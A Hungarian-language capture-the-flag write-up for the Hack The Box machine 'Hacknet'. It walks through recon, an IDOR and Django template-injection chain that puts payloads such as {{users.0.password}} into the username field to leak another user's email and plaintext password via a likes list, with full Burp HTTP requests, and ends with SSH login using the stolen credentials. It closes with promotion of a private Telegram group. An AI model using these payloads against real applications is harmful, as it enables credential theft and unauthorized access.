Skip to content

Hacknet — Hack The Box

Platform: Linux
IP: 10.129.109.173
Difficulty: Medium
Author: NoSec


mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.

💀 csatlakozz a backdoor crew-hoz

Recon (röviden)

nmap -sVC hacknet.htb
  • 22/tcp – OpenSSH 9.2p1 (Debian 12)
  • 80/tcp – nginx 1.22.1 → webapp: HackNet (Django)

Tedd a domaint a hosts-ba:

10.129.109.173 hacknet.htb

Vuln chain: IDOR + SSTI → email & jelszó dump (Burp)

A webappban a like funkció IDOR-szerűen elérhető privát posztra is, és a likes listában a likelők profilképe <img title="..."> attribútumban a felhasználónevet jeleníti meg.

Cél poszt

  • Privát poszt ID: 23 (backdoor_bandit)

Lépések

1) Username átállítása template-re
- Böngészőben menj: http://hacknet.htb/profile/edit
- Írd be Username mezőbe:
- Email leakhez: {{users.0.email}}
- Jelszó leakhez: {{users.0.password}}
- Save (vagy csináld ugyanezt Burp Intercept → módosítsd a username mezőt a POST /profile/edit kérésben).

2) Like-old a privát posztot (azonos sessionben!)
- Burp Repeater-ben küldd el (fontos a X-Requested-With: XMLHttpRequest és a saját cookieid):

GET /like/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=Sajat-Token; sessionid=Sajat-Token
Priority: u=0
Content-Length: 10

3) Listázd a likelőket ugyanazzal a sessionnel:

GET /likes/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=0P85nKc4gSutHANVb1kpgzTY1OrN3q6V; sessionid=42bkdg22b55on7vi992n3m78jx991vi0
Priority: u=0
Content-Length: 10

4) Olvasd ki az eredményt
- A válasz egy HTML darab, több ilyesmi elemmel: html <div class="likes-review-item"> <a href="/profile/27"><img src="/media/profile.png" title="ITT LESZ A RENDERELT EMAIL"></a> </div> - A saját profilodhoz tartozó <img ... title="..."> mezőben megjelenik a template kimenete: - Ha a username {{users.0.email}} volt → email jelenik meg - Ha a username {{users.0.password}} volt → jelszó (itt plaintext, nem hash)

Megjegyzés: ha üres a title, ellenőrizd, hogy biztosan like-oltad a posztot (ha kell, küldd el a /like/23-at még egyszer), és ugyanazzal a sessionnel nézed a /likes/23-at. A listában keresd a saját profil ID-det (pl. /profile/27).


SSH bejelentkezés

Miután megvan a target email + jelszó, simán próbáld SSH-n:

ssh <username>@hacknet.htb
# password: <a likes/23-ból megszerzett plaintext jelszó>

TL;DR

  • Username mezőbe SSTI: {{users.0.email}}/like/23/likes/23email a saját entry title attribútumában.
  • Csere: {{users.0.password}} → ismét /like/23/likes/23plaintext jelszó a title-ben.
  • SSH: email/jelszó párossal belépés → user.

🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn


☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben

💻 támogasd a nosec-et